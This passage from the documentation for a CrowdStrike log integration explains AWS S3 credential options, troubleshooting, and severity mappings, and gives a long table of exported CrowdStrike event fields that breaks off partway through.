reading compressed files. + +#### Configuration for the S3 input + +AWS credentials are required for running this integration if you want to use the S3 input. + +##### Configuration parameters +* `access_key_id`: first part of access key. +* `secret_access_key`: second part of access key. +* `session_token`: required when using temporary security credentials. +* `credential_profile_name`: profile name in shared credentials file. +* `shared_credential_file`: directory of the shared credentials file. +* `endpoint`: URL of the entry point for an AWS web service. +* `role_arn`: AWS IAM Role to assume. + +##### Credential Types +There are three types of AWS credentials can be used: + +- access keys, +- temporary security credentials, and +- IAM role ARN. + +##### Access keys + +`AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` are the two parts of access keys. +They are long-term credentials for an IAM user, or the AWS account root user. +Please see [AWS Access Keys and Secret Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html#access-keys-and-secret-access-keys) +for more details. + +##### Temporary security credentials + +Temporary security credentials has a limited lifetime and consists of an +access key ID, a secret access key, and a security token which typically returned +from `GetSessionToken`. + +MFA-enabled IAM users would need to submit an MFA code +while calling `GetSessionToken`. `default_region` identifies the AWS Region +whose servers you want to send your first API request to by default. + +This is typically the Region closest to you, but it can be any Region. Please see +[Temporary Security Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +for more details. + +`sts get-session-token` AWS CLI can be used to generate temporary credentials. +For example. with MFA-enabled: +```js +aws> sts get-session-token --serial-number arn:aws:iam::1234:mfa/your-email@example.com --duration-seconds 129600 --token-code 123456 +``` + +Because temporary security credentials are short term, after they expire, the +user needs to generate new ones and manually update the package configuration in +order to continue collecting `aws` metrics. + +This will cause data loss if the configuration is not updated with new credentials before the old ones expire. + +##### IAM role ARN + +An IAM role is an IAM identity that you can create in your account that has +specific permissions that determine what the identity can and cannot do in AWS. + +A role does not have standard long-term credentials such as a password or access +keys associated with it. Instead, when you assume a role, it provides you with +temporary security credentials for your role session. +IAM role Amazon Resource Name (ARN) can be used to specify which AWS IAM role to assume to generate +temporary credentials. + +Please see [AssumeRole API documentation](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) for more details. + +##### Supported Formats +1. Use access keys: Access keys include `access_key_id`, `secret_access_key` +and/or `session_token`. +2. Use `role_arn`: `role_arn` is used to specify which AWS IAM role to assume + for generating temporary credentials. + If `role_arn` is given, the package will check if access keys are given. + If not, the package will check for credential profile name. + If neither is given, default credential profile will be used. + + Please make sure credentials are given under either a credential profile or + access keys. +3. Use `credential_profile_name` and/or `shared_credential_file`: + If `access_key_id`, `secret_access_key` and `role_arn` are all not given, then + the package will check for `credential_profile_name`. + If you use different credentials for different tools or applications, you can use profiles to + configure multiple access keys in the same configuration file. + If there is no `credential_profile_name` given, the default profile will be used. + `shared_credential_file` is optional to specify the directory of your shared + credentials file. + If it's empty, the default directory will be used. + In Windows, shared credentials file is at `C:\Users\\.aws\credentials`. + For Linux, macOS or Unix, the file locates at `~/.aws/credentials`. + Please see[Create Shared Credentials File](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/create-shared-credentials-file.html) + for more details. + +#### Troubleshooting + +##### Vulnerability API returns 404 Not found + +This error may occur for the following reasons: +1. Too many records in the response. +2. The pagination token has expired. Tokens expire 120 seconds after a call is made. + +To resolve this, adjust the `Batch Size` setting in the integration to reduce the number of records returned per pagination call. + +##### Duplicate Events + +The option `Enable Data Deduplication` allows you to avoid consuming duplicate events. By default, this option is set to `false`, and so duplicate events may be ingested. When this option is enabled, a [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html) is used to calculate a hash from a set of Crowdstrike fields that uniquely identifies the event. The hash is assigned to the Elasticsearch [`_id`](https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-id-field.html) field that makes the document unique, thus avoiding duplicates. + +If duplicate events are ingested, to help find them, the integration `event.id` field is populated by concatenating a few Crowdstrike fields that uniquely identifies the event. These fields are `id`, `aid`, and `cid` from the Crowdstrike event. The fields are separated with pipe `|`. +For example, if your Crowdstrike event contains `id: 123`, `aid: 456`, and `cid: 789` then the `event.id` would be `123|456|789`. + +#### Alert severity mapping + +The values used in `event.severity` are consistent with Elastic Detection Rules. + +| Severity Name | `event.severity` | +|----------------------------|:----------------:| +| Low, Info or Informational | 21 | +| Medium | 47 | +| High | 73 | +| Critical | 99 | + +If the severity name is not available from the original document, it is determined from the numeric severity value according to the following table. + +| Crowdstrike `severity` | Severity Name | +|------------------------|:-------------:| +| 0 - 19 | info | +| 20 - 39 | low | +| 40 - 59 | medium | +| 60 - 79 | high | +| 80 - 100 | critical | + +#### Example + +**Exported fields** + +| Field | Description | Type | +|---|---|---| +| @timestamp | Event timestamp. | date | +| aws.s3.bucket.arn | The AWS S3 bucket ARN. | keyword | +| aws.s3.bucket.name | The AWS S3 bucket name. | keyword | +| aws.s3.object.key | The AWS S3 Object key. | keyword | +| crowdstrike.AccessType | | keyword | +| crowdstrike.AccountDomain | | match_only_text | +| crowdstrike.AccountObjectGuid | | match_only_text | +| crowdstrike.AccountObjectSid | | match_only_text | +| crowdstrike.AccountType | | keyword | +| crowdstrike.ActiveDirectoryAuthenticationMethod | | keyword | +| crowdstrike.ActivityId | | keyword | +| crowdstrike.AddressFamily | | keyword | +| crowdstrike.AdminStatus | | keyword | +| crowdstrike.AgentIdString | | keyword | +| crowdstrike.AgentLoadFlags | | keyword | +| crowdstrike.AgentLocalTime | | date | +| crowdstrike.AgentTimeOffset | | float | +| crowdstrike.AgentVersion | | keyword | +| crowdstrike.AggregateId | | keyword | +| crowdstrike.AllocateVirtualMemoryCount | | long | +| crowdstrike.AllowlistingFilterId | | keyword | +| crowdstrike.AnodeIndicators | | nested | +| crowdstrike.AntiTamperStateFlag | | keyword | +| crowdstrike.ApiReturnValue | | keyword | +| crowdstrike.ApplicationName | | match_only_text | +| crowdstrike.ArchiveFileWrittenCount | | long | +| crowdstrike.AsepClass | | keyword | +| crowdstrike.AsepFlags | | keyword | +| crowdstrike.AsepIndex | | keyword | +| crowdstrike.AsepValueType | | keyword | +| crowdstrike.AsepWrittenCount | | long | +| crowdstrike.AssemblyFlags | | keyword | +| crowdstrike.AssemblyId | | keyword | +| crowdstrike.AssemblyName | | keyword | +| crowdstrike.AssociatedFile | | keyword | +| crowdstrike.Attacks.Tactic | | keyword | +| crowdstrike.Attacks.Technique | | keyword | +| crowdstrike.AttemptNumber | | long | +| crowdstrike.AuthenticationActivityId | | keyword | +| crowdstrike.AuthenticationId | | keyword | +| crowdstrike.AuthenticationPackage | | keyword | +| crowdstrike.AuthenticationUuid | | keyword | +| crowdstrike.AuthenticationUuidAsString | | keyword | +| crowdstrike.AuthenticodeHashData | | keyword | +| crowdstrike.AuthenticodeHashDataSHA256 | | keyword | +| crowdstrike.BaseReachableTime | | keyword | +| crowdstrike.BatchDataNumber | | keyword | +| crowdstrike.BatchDataTotal | | keyword | +| crowdstrike.BatchTimestamp | | date | +| crowdstrike.BinaryExecutableWrittenCount | | long | +| crowdstrike.BiosChanged | | match_only_text | +| crowdstrike.BiosManufacturer | | keyword | +| crowdstrike.BiosReleaseDate | | date | +| crowdstrike.BiosVersion | | keyword | +| crowdstrike.BluetoothClassOfDeviceValue | | match_only_text | +| crowdstrike.BluetoothDeviceAppearanceValue | | match_only_text | +| crowdstrike.BluetoothDeviceModelNumber | | match_only_text | +| crowdstrike.BluetoothDeviceName | | match_only_text | +| crowdstrike.BluetoothServiceName_1 | | match_only_text | +| crowdstrike.BluetoothServiceName_3 | | match_only_text | +| crowdstrike.BluetoothServiceName_4 | | match_only_text | +| crowdstrike.BluetoothServiceName_5 | | match_only_text | +| crowdstrike.BluetoothServiceName_6 | | match_only_text | +| crowdstrike.BluetoothServiceName_7 | | match_only_text | +| crowdstrike.BluetoothServiceName_8 | | match_only_text | +| crowdstrike.BluetoothServiceUuidArray | | match_only_text | +| crowdstrike.BluetoothServiceUuid_1 | | match_only_text | +| crowdstrike.BluetoothServiceUuid_2 | | match_only_text | +| crowdstrike.BluetoothServiceUuid_3 | | match_only_text | +| crowdstrike.BluetoothServiceUuid_4 | | match_only_text | +| crowdstrike.BluetoothServiceUuid_5 | | match_only_text | +| crowdstrike.BluetoothServiceUuid_6 | | match_only_text | +| crowdstrike.BluetoothServiceUuid_7 | | match_only_text | +| crowdstrike.BluetoothServiceUuid_8 | | match_only_text | +| crowdstrike.BluetoothVendorIdSource | | match_only_text | +| crowdstrike.BootArgs | | keyword | +| crowdstrike.BootTimeFunctionalityLevel | | keyword | +| crowdstrike.BoundedCount | | long | +| crowdstrike.BoundingLimitCount | | long | +| crowdstrike.BoundingLimitDuration | | keyword | +| crowdstrike.BrowserExtensionId | | keyword | +| crowdstrike.BrowserExtensionInstallMethod | | keyword | +| crowdstrike.BrowserExtensionStatusEnabled | | keyword | +| crowdstrike.BrowserFileHash | | keyword | +| crowdstrike.BrowserFilePath | | keyword | +| crowdstrike.BrowserName | | keyword | +| crowdstrike.BrowserProfileId | | keyword | +| crowdstrike.BrowserProfileName | | keyword | +| crowdstrike.BrowserVersion | | keyword | +| crowdstrike.BundleID | | keyword | +| crowdstrike.CLICreationCount | | long | +| crowdstrike.CNAMERecords | | keyword | +| crowdstrike.CallStackModuleNames | | keyword | +| crowdstrike.CallStackModuleNamesVersion | | version | +| crowdstrike.CapPrm | | keyword | +| crowdstrike.CertificateIssuer | | keyword | +| crowdstrike.CertificatePublisher | | keyword | +| crowdstrike.CertificateSignatureHash | | keyword | +| crowdstrike.CertificateSignatureHashAlgorithm | | keyword | +| crowdstrike.ChangeId | | keyword | +| crowdstrike.ChangeTime | | date | +| crowdstrike.ChangedPcrBitmap | | match_only_text | +| crowdstrike.ChannelDiffStatus | | keyword | +| crowdstrike.ChannelId | | keyword | +| crowdstrike.ChannelVersion | | keyword | +| crowdstrike.ChannelVersionRequired | | keyword | +| crowdstrike.ChasisManufacturer | | keyword | +| crowdstrike.ChassisType | | keyword | +| crowdstrike.ClientComputerName | | keyword | +| crowdstrike.ClientId | | match_only_text | +| crowdstrike.ClientProcessStartKey | | keyword | +| crowdstrike.CloudIndicator | | boolean | +| crowdstrike.CommandCount | | match_only_text | +| crowdstrike.CommandCountMax | | match_only_text | +| crowdstrike.CommandHistory | | keyword | +| crowdstrike.CommandHistory.text | Multi-field of `crowdstrike.CommandHistory`. | match_only_text | +| crowdstrike.CompanyName | | keyword | +| crowdstrike.CompletionEventId | | keyword | +| crowdstrike.CompositeId | Global unique identifier that identifies a unique alert. | keyword | +| crowdstrike.ConHostId | | keyword | +| crowdstrike.ConHostProcessId | | keyword | +| crowdstrike.ConfigBuild | | keyword | +| crowdstrike.ConfigIDBase | | keyword | +| crowdstrike.ConfigIDBuild | | keyword | +| crowdstrike.ConfigIDPlatform | | keyword | +| crowdstrike.ConfigStateData | | text | +| crowdstrike.ConfigStateHash | | keyword | +| crowdstrike.ConfigurationDescriptorName | | match_only_text | +| crowdstrike.ConfigurationVersion | | keyword | +| crowdstrike.ConnectTime | | date | +| crowdstrike.ConnectType | | keyword | +| crowdstrike.ConnectionAddressIP6 | | match_only_text | +| crowdstrike.ConnectionFlags | | keyword | +| crowdstrike.ConnectionType | | keyword | +| crowdstrike.ContentDiff.Exists | | boolean | +| crowdstrike.ContentPatternCounts | | nested | +| crowdstrike.ContentPatterns.ConfidenceLevel | | long | +| crowdstrike.ContentPatterns.ID | | keyword | +| crowdstrike.ContentPatterns.MatchCount | | long | +| crowdstrike.ContentPatterns.Name | | keyword | +| crowdstrike.ContentSHA256HashData | | keyword | +| crowdstrike.ContextBaseFileName | | keyword | +| crowdstrike.ContextImageFileName | | keyword | +| crowdstrike.ContextProcessId | | keyword | +| crowdstrike.ContextProcessTagsAsString | | keyword | +| crowdstrike.ContextTimeStamp | System local time of event creation. | date | +| crowdstrike.CpuClockSpeed | | keyword | +| crowdstrike.CpuFeaturesMask | | keyword | +| crowdstrike.CpuProcessorName | | keyword | +| crowdstrike.CpuSignature | | keyword | +| crowdstrike.CpuVendor | | keyword | +| crowdstrike.CreateProcessCount | | long | +| crowdstrike.CreateProcessType | | keyword | +| crowdstrike.CurrentFunctionalityLevel | | keyword | +| crowdstrike.CurrentLocalIP | | ip | +| crowdstrike.CustomerIdString | | keyword | +| crowdstrike.CycleTime | | long | +| crowdstrike.DadState | | keyword | +| crowdstrike.DadTransmits | | keyword | +| crowdstrike.Data1 | | keyword | +| crowdstrike.DataDomains | | keyword | +| crowdstrike.DcNumAttachments | | match_only_text | +| crowdstrike.DcNumBlockingPolicies | | match_only_text | +| crowdstrike.Description | | keyword | +| crowdstrike.DesiredAccess | | keyword | +| crowdstrike.Destination | | nested | +| crowdstrike.Destination.Channel | | keyword | +| crowdstrike.DetectDescription | | keyword | +| crowdstrike.DetectId | | keyword | +| crowdstrike.DetectName | | keyword | +| crowdstrike.DetectionType | | keyword | +| crowdstrike.DeviceId | | keyword | +| crowdstrike.DeviceMountCounter | | long | +| crowdstrike.DevicePropertyClassGuid | | match_only_text | +| crowdstrike.DevicePropertyClassName | | match_only_text | +| crowdstrike.DevicePropertyLocationInformation | | match_only_text | +| crowdstrike.DirectionType | | keyword | +| crowdstrike.DirectoryCreatedCount | | long | +| crowdstrike.DirectoryEnumeratedCount | | long | +| crowdstrike.DllCharacteristics | | keyword | +| crowdstrike.DnsRequestCount | | long | +| crowdstrike.DnsRequests | Detected DNS requests done by a process. | nested | +| crowdstrike.DnsResponseType | | keyword | +| crowdstrike.DocumentFileWrittenCount | | long | +| crowdstrike.DomainSid | | keyword | +| crowdstrike.DotnetModuleFlags | | keyword | +| crowdstrike.DotnetModuleId | | keyword | +| crowdstrike.DownloadPath | | keyword | +| crowdstrike.DownloadPort | | long | +| crowdstrike.DownloadServer | | keyword | +| crowdstrike.DriverLoadFlags | | keyword | +| crowdstrike.DualRequest | | keyword | +| crowdstrike.DylibPath | | match_only_text | +| crowdstrike.ELFSubType | | keyword | +| crowdstrike.EffectiveTransmissionClass | | keyword | +| crowdstrike.EfiVariableCustomModeAttributes | | match_only_text | +| crowdstrike.EfiVariableDbAttributes | | match_only_text | +| crowdstrike.EfiVariableDbSha256Hash | | match_only_text | +| crowdstrike.EfiVariableKekAttributes | | match_only_text | +| crowdstrike.EfiVariableKekSha256Hash | | match_only_text | +| crowdstrike.EfiVariablePkAttributes | | match_only_text | +| crowdstrike.EfiVariablePkSha256Hash | | match_only_text | +| crowdstrike.EfiVariableSecureBootAttributes | | match_only_text | +| crowdstrike.EfiVariableSetupMode | | match_only_text | +| crowdstrike.EfiVariableSetupModeAttributes | | match_only_text | +| crowdstrike.EfiVariableSignatureSupport | | match_only_text | +| crowdstrike.EfiVariableSignatureSupportAttributes | | match_only_text | +| crowdstrike.EgressEventId | | keyword | +| crowdstrike.EgressSessionId | | keyword | +| crowdstrike.EnabledPrivilegesBitmask | | keyword | +| crowdstrike.EndTime | | date | +| crowdstrike.Entitlements | | keyword | +| crowdstrike.EnvironmentVariableName | | keyword | +| crowdstrike.EnvironmentVariableValue | | keyword | +| crowdstrike.EnvironmentVariablesString | | match_only_text | +| crowdstrike.ErrorCode | | keyword | +| crowdstrike.ErrorStatus | | keyword | +| crowdstrike.EtwProviderType | | keyword | +| crowdstrike.EtwRawProcessId | | long | +| crowdstrike.EtwRawRpcClientProcessId | | keyword | +| crowdstrike.EtwRawThreadId | | long | +| crowdstrike.EventCorrelationId | | keyword | +| crowdstrike.EventOrigin | | integer | +| crowdstrike.EventTimestamp | | date | +| crowdstrike.EventType | | keyword | +| crowdstrike.EventUUID | | keyword | +| crowdstrike.ExceptionAddress | | keyword | +| crowdstrike.ExceptionCode | | keyword | +| crowdstrike.ExceptionInformation0 | | keyword | +| crowdstrike.ExclusionSource | | keyword | +| crowdstrike.ExclusionType | | keyword | +| crowdstrike.ExeAndServiceCount | | long | +| crowdstrike.ExecutableBytes | | match_only_text | +| crowdstrike.ExecutableDeletedCount | | long | +| crowdstrike.ExtendedAttributeValue | | match_only_text | +| crowdstrike.ExtendedAttributeValueReadable | | match_only_text | +| crowdstrike.ExtendedKeyUsages | | keyword | +| crowdstrike.ExternalApiType | | keyword | +| crowdstrike.FXFileSize | | keyword | +| crowdstrike.Facility | | keyword | +| crowdstrike.FailedConnectCount | | long | +| crowdstrike.FalconGroupingTags | | keyword | +| crowdstrike.FalconHostLink | | keyword | +| crowdstrike.FeatureExtractionVersion | | keyword | +| crowdstrike.FeatureVector | | match_only_text | +| crowdstrike.File | | keyword | +| crowdstrike.FileAttributes | | keyword | +| crowdstrike.FileAttributesNew | | keyword | +| crowdstrike.FileAttributesPrevious | | keyword | +| crowdstrike.FileCategory | | keyword | +| crowdstrike.FileCategoryCounts | | nested | +| crowdstrike.FileContent | | match_only_text | +| crowdstrike.FileDeletedCount | | long | +| crowdstrike.FileEcpBitmask | | keyword | +| crowdstrike.FileName | | keyword | +| crowdstrike.FileObject | | keyword | +| crowdstrike.FileOperatorSid | | keyword | +| crowdstrike.FilePath | | keyword | +| crowdstrike.FileSigningTime | | keyword | +| crowdstrike.FileSubType | | keyword | +| crowdstrike.FileSystemOperationType | | keyword | +| crowdstrike.FileType.Type.CategoryID | | keyword | +| crowdstrike.FileType.Type.CategoryName | | keyword | +| crowdstrike.FileType.Type.Description | | keyword | +| crowdstrike.FileType.Type.ID | | keyword | +| crowdstrike.FileType.Type.Name | | keyword | +| crowdstrike.FileVaultIsEnabled | | match_only_text | +| crowdstrike.FileVersion | | keyword | +| crowdstrike.FileWrittenFlags | | keyword | +| crowdstrike.FilesAccessed.FileName | | keyword | +| crowdstrike.FilesAccessed.FilePath | | keyword | +| crowdstrike.FilesAccessed.Timestamp | | date | +| crowdstrike.FilesEgressedCount | | long | +| crowdstrike.FilesWritten.FileName | | keyword | +| crowdstrike.FilesWritten.FilePath | | keyword | +| crowdstrike.FilesWritten.Timestamp | | date | +| crowdstrike.FirewallAction | | keyword | +| crowdstrike.FirewallOption | | keyword | +| crowdstrike.FirewallOptionNumericValue | | keyword | +| crowdstrike.FirewallProfile | | keyword | +| crowdstrike.FirewallRule | | keyword | +| crowdstrike.FirewallRuleId | | keyword | +| crowdstrike.FirmwareAnalysisEclConsumerInterfaceVersion | | keyword | +| crowdstrike.FirmwareAnalysisEclControlInterfaceVersion | | keyword | +| crowdstrike.FirstCommand | | match_only_text | +| crowdstrike.FirstDiscoveredDate | | date | +| crowdstrike.FirstIP4Record | | keyword | +| crowdstrike.FirstSeen | | date | +| crowdstrike.FixedFileVersion | | keyword | +| crowdstrike.Flags | | keyword | +| crowdstrike.FltCallbackData | | keyword | +| crowdstrike.FltCompletionContext | | keyword | +| crowdstrike.FltRelatedObjects | | keyword | +| crowdstrike.FontBuffer | | keyword | +| crowdstrike.FontBufferLength | | keyword | +| crowdstrike.FontFileCount | | long | +| crowdstrike.FontFileName | | keyword | +| crowdstrike.FontLoadOperation | | keyword | +| crowdstrike.FsOperationClassification | | keyword | +| crowdstrike.FsOperationClassificationFlags | | keyword | +| crowdstrike.FullExceptionRecord | | keyword | +| crowdstrike.GenericFileWrittenCount | | long | +| crowdstrike.GrandParentBaseFileName | | keyword | +| crowdstrike.GrandparentCommandLine | | keyword | +| crowdstrike.GrandparentCommandLine.text | Multi-field of `crowdstrike.GrandparentCommandLine`. | match_only_text | +| crowdstrike.GrandparentImageFileName | | keyword | +| crowdstrike.GrandparentImageFilePath | | keyword | +| crowdstrike.GrandparentProcessId | | keyword | +| crowdstrike.GroupRid | | keyword | +| crowdstrike.HandleCreateAuthenticationId | | keyword | +| crowdstrike.HandleCreated | | keyword | +| crowdstrike.HandleOperationType | | keyword | +| crowdstrike.HashAlgorithm | | keyword | +| crowdstrike.HostGroups | | keyword | +| crowdstrike.HostHiddenStatus | | keyword | +| crowdstrike.HostProcessType | | keyword | +| crowdstrike.HttpInternalSource | | match_only_text | +| crowdstrike.HttpMethod | | match_only_text | +| crowdstrike.HttpRequestHeader | | match_only_text | +| crowdstrike.HttpUrl | | match_only_text | +| crowdstrike.IOCType | | keyword | +| crowdstrike.IOCValue | | keyword | +| crowdstrike.IOServiceClass | | keyword | +| crowdstrike.IOServiceName | | keyword | +| crowdstrike.IOServicePath | | keyword | +| crowdstrike.IP4Records | | keyword | +| crowdstrike.IcmpCode | | keyword | +| crowdstrike.IcmpType | | keyword | +| crowdstrike.IfType | | keyword | +| crowdstrike.ImageBaseName | | keyword | +| crowdstrike.ImageCheckSum | | keyword | +| crowdstrike.ImageEntryPoint | | keyword | +| crowdstrike.ImageFileName | | keyword | +| crowdstrike.ImageSignatureLevel | | keyword | +| crowdstrike.ImageSignatureType | | keyword | +| crowdstrike.ImageSubsystem | | keyword | +| crowdstrike.ImageTimeStamp | | keyword | +| crowdstrike.ImpersonatedUserName | | keyword | +| crowdstrike.InBroadcastOctets | | keyword | +| crowdstrike.InContext | | keyword | +| crowdstrike.InDiscards | | keyword | +| crowdstrike.InErrors | | keyword | +| crowdstrike.InMulticastOctets | | keyword | +| crowdstrike.InMulticastPkts | | keyword | +| crowdstrike.InNUcastPkts | | keyword | +| crowdstrike.InOctets | | keyword | +| crowdstrike.InUcastOctets | | keyword | +| crowdstrike.InUcastPkts | | keyword | +| crowdstrike.InUnknownProtos | | keyword | +| crowdstrike.IndividualDiskInfo | | match_only_text | +| crowdstrike.Information | | keyword | +| crowdstrike.InjectedDll | | keyword | +| crowdstrike.InjectedDllCount | | long | +| crowdstrike.InjectedThreadCount | | long | +| crowdstrike.InjectedThreadFlag | | keyword | +| crowdstrike.InstanceMetadata | | match_only_text | +| crowdstrike.InstanceMetadataSignature | | match_only_text | +| crowdstrike.IntegrityLevel | | keyword | +| crowdstrike.InterfaceAlias | | keyword | +| crowdstrike.InterfaceDescription | | keyword | +| crowdstrike.InterfaceFlags | | keyword | +| crowdstrike.InterfaceGuid | | keyword | +| crowdstrike.InterfaceIdentifier | | keyword | +| crowdstrike.InterfaceIndex | | long | +| crowdstrike.InterfaceKind | | match_only_text | +| crowdstrike.InterfaceMtu | | keyword | +| crowdstrike.InterfaceType | | keyword | +| crowdstrike.InterfaceVersion | | keyword | +| crowdstrike.IpEntryFlags | | keyword | +| crowdstrike.IrpFlags | | keyword | +| crowdstrike.IsClipboard | | boolean | +| crowdstrike.IsEBPF | | keyword | +| crowdstrike.IsFromDifferentMountNamespace | | keyword | +| crowdstrike.IsHosted | | keyword | +| crowdstrike.IsOnNetwork | | keyword | +| crowdstrike.IsOnRemovableDisk | | keyword | +| crowdstrike.IsProcessInitializing | | keyword | +| crowdstrike.IsTransactedFile | | keyword | +| crowdstrike.IsUnique | | keyword | +| crowdstrike.KernelTime | | long | +| crowdstrike.KeyObject | | match_only_text | +| crowdstrike.LanguageId | | keyword | +| crowdstrike.LastAdded | | match_only_text | +| crowdstrike.LastDiscoveredBy | | keyword | +| crowdstrike.LastDisplayed | | match_only_text | +| crowdstrike.LastLoggedOnHost | | keyword | +| crowdstrike.LastPendingUpdateInstalledTime | | match_only_text | +| crowdstrike.LaunchItemType | | match_only_text | +| crowdstrike.LaunchItemUrl | | match_only_text | +| crowdstrike.LdapSearchFilterSample | | match_only_text | +| crowdstrike.LfoUploadFlags | | keyword | +| crowdstrike.LightningLatencyState | | keyword | +| crowdstrike.Line | | keyword | +| crowdstrike.LinkLocalAddressBehavior | | keyword | +| crowdstrike.LinkLocalAddressTimeout | | keyword | +| crowdstrike.LocalAddressIP4 | | ip | +| crowdstrike.LocalAddressIP6 | | ip | +| crowdstrike.LocalAddressMaskIP4 | | keyword | +| crowdstrike.LocalAddressMaskIP6 | | keyword | +| crowdstrike.LocalAdminAccess | | keyword | +| crowdstrike.LocalIP | | ip | +| crowdstrike.LocalIPv6 | | ip | +| crowdstrike.LocalIpAddressPipelineSource | | keyword | +| crowdstrike.LogicalCoreCount | | long | +| crowdstrike.LoginSessionId | | keyword | +| crowdstrike.LogoffTime | | date | +| crowdstrike.LogonDomain | | keyword | +| crowdstrike.LogonId | | keyword | +| crowdstrike.LogonInfo | | keyword | +| crowdstrike.LogonServer | | keyword | +| crowdstrike.LogonTime | | date | +| crowdstrike.LogonType | | keyword | +| crowdstrike.MACAddress | | keyword | +| crowdstrike.MACPrefix | | keyword | +| crowdstrike.MD5HashData | | keyword | +| crowdstrike.MD5String | | keyword | +| crowdstrike.MLModelVersion | | keyword | +| crowdstrike.MachOSubType | | keyword | +| crowdstrike.MajorFunction | | keyword | +| crowdstrike.MajorVersion | | keyword | +| crowdstrike.Malicious | | keyword | +| crowdstrike.ManagedPdbBuildPath | | match_only_text | +| crowdstrike.MappedFromUserMode | | keyword | +| crowdstrike.MatchedClassification.ID | | keyword | +| crowdstrike.MatchedClassification.Name | | keyword | +| crowdstrike.MaxReassemblySize | | keyword | +| crowdstrike.MaxRouterAdvertisementInterval | | keyword | +| crowdstrike.MaxThreadCount | | long | +| crowdstrike.MediaConnectState | | keyword | +| crowdstrike.MediaType | | keyword | +| crowdstrike.MemoryAvailable | | match_only_text | +| crowdstrike.MemoryTotal | | keyword | +| crowdstrike.Metric | | keyword | +| crowdstrike.MicrocodeSignature | | keyword | +| crowdstrike.MinRouterAdvertisementInterval | | keyword | +| crowdstrike.MinorFunction | | keyword | +| crowdstrike.MinorVersion | | keyword | +| crowdstrike.MmioDataGenPmconB | | match_only_text | +| crowdstrike.MmioDataSmiEn | | match_only_text | +| crowdstrike.MmioDataTco1Cnt | | match_only_text | +| crowdstrike.MoboManufacturer | | keyword | +| crowdstrike.MoboProductName | | keyword | +| crowdstrike.ModelPrediction | | keyword | +| crowdstrike.ModuleCharacteristics | | keyword | +| crowdstrike.ModuleILPath | | keyword | +| crowdstrike.ModuleLoadCount | | long | +| crowdstrike.ModuleLoadTelemetryClassification | | keyword | +| crowdstrike.ModuleSize | | keyword | +| crowdstrike.MountedVolumeAction | | keyword | +| crowdstrike.NDRoot | | keyword | +| crowdstrike.NegateInterface | | keyword | +| crowdstrike.NegateLocalAddress | | keyword | +| crowdstrike.NegateRemoteAddress | | keyword | +| crowdstrike.NeighborList | | keyword | +| crowdstrike.NeighborName | | keyword | +| crowdstrike.NetLuidIndex | | long | +| crowdstrike.NetworkAccesses.AccessTimestamp | | keyword | +| crowdstrike.NetworkAccesses.AccessType | | keyword | +| crowdstrike.NetworkAccesses.ConnectionDirection | | keyword | +| crowdstrike.NetworkAccesses.IsIPV6 | | keyword | +| crowdstrike.NetworkAccesses.LocalAddress | | keyword | +| crowdstrike.NetworkAccesses.LocalPort | | keyword | +| crowdstrike.NetworkAccesses.Protocol | | keyword | +| crowdstrike.NetworkAccesses.RemoteAddress | | keyword | +| crowdstrike.NetworkAccesses.RemotePort | | keyword | +| crowdstrike.NetworkBindCount | | long | +| crowdstrike.NetworkCapableAsepWriteCount | | long | +| crowdstrike.NetworkCloseCount | | long | +| crowdstrike.NetworkConnectCount | | long | +| crowdstrike.NetworkConnectCountUdp | | long | +| crowdstrike.NetworkContainmentState | | keyword | +| crowdstrike.NetworkGuid | | keyword | +| crowdstrike.NetworkInterfaceGuid | | keyword | +| crowdstrike.NetworkListenCount | | long | +| crowdstrike.NetworkModuleLoadCount | | long | +| crowdstrike.NetworkRecvAcceptCount | | long | +| crowdstrike.NewExecutableWrittenCount | | long | +| crowdstrike.NewFileAttributesLinux | | keyword | +| crowdstrike.NewFileIdentifier | | keyword | +| crowdstrike.NewUnixPermissions | | keyword | +| crowdstrike.NlMtu | | keyword | +| crowdstrike.Nonce | | unsigned_long | +| crowdstrike.OSVersionFileData | | match_only_text | +| crowdstrike.OSVersionFileName | | keyword | +| crowdstrike.OU | | keyword | +| crowdstrike.Object1Type | | keyword | +| crowdstrike.ObjectAccessOperationType | | keyword | +| crowdstrike.ObjectNameEtw | | match_only_text | +| crowdstrike.ObjectType | | keyword | +| crowdstrike.ObjectTypeEtw | | match_only_text | +| crowdstrike.Objective | | keyword | +| crowdstrike.OciContainerAppName | | match_only_text | +| crowdstrike.OciContainerAppVersion | | match_only_text | +| crowdstrike.OciContainerConfigImage | | match_only_text | +| crowdstrike.OciContainerConfigLabels | | match_only_text | +| crowdstrike.OciContainerConfigTty | | match_only_text | +| crowdstrike.OciContainerConfigUser | | match_only_text | +| crowdstrike.OciContainerEngineType | | match_only_text | +| crowdstrike.OciContainerHostConfigCgroup | | match_only_text | +| crowdstrike.OciContainerHostConfigDevices | | match_only_text | +| crowdstrike.OciContainerHostConfigOomKillDisable | | match_only_text | +| crowdstrike.OciContainerHostConfigPrivileged | | match_only_text | +| crowdstrike.OciContainerHostConfigPublishAllPorts | | match_only_text | +| crowdstrike.OciContainerHostConfigReadOnlyRootfs | | match_only_text | +| crowdstrike.OciContainerId | | match_only_text | +| crowdstrike.OciContainerImageId | | match_only_text | +| crowdstrike.OciContainerInfoRetransmitted | | match_only_text | +| crowdstrike.OciContainerMounts | | match_only_text | +| crowdstrike.OciContainerName | | match_only_text | +| crowdstrike.OciContainerNetworkSettingsIpAddress | | match_only_text | +| crowdstrike.OciContainerPhase | | match_only_text | +| crowdstrike.OciContainerStateOOMKilled | | match_only_text | +| crowdstrike.OciContainerStatePid | | match_only_text | +| crowdstrike.OciContainersStartedCount | | match_only_text | +| crowdstrike.OciContainersStoppedCount | | match_only_text | +| crowdstrike.OnLinkPrefixLength | | keyword | +| crowdstrike.OperStatus | | keyword | +| crowdstrike.OperationFlags | | keyword | +| crowdstrike.Options | | keyword | +| crowdstrike.OriginWebLocations | | flattened | +| crowdstrike.OriginalContentLength | | keyword | +| crowdstrike.OriginalEventTimeStamp | | keyword | +| crowdstrike.OriginalFilename | | keyword | +| crowdstrike.OriginalParentAuthenticationId | | keyword | +| crowdstrike.OriginalUserName | | keyword | +| crowdstrike.OriginalUserSid | | keyword | +| crowdstrike.OutBroadcastOctets | | keyword | +| crowdstrike.OutDiscards | | keyword | +| 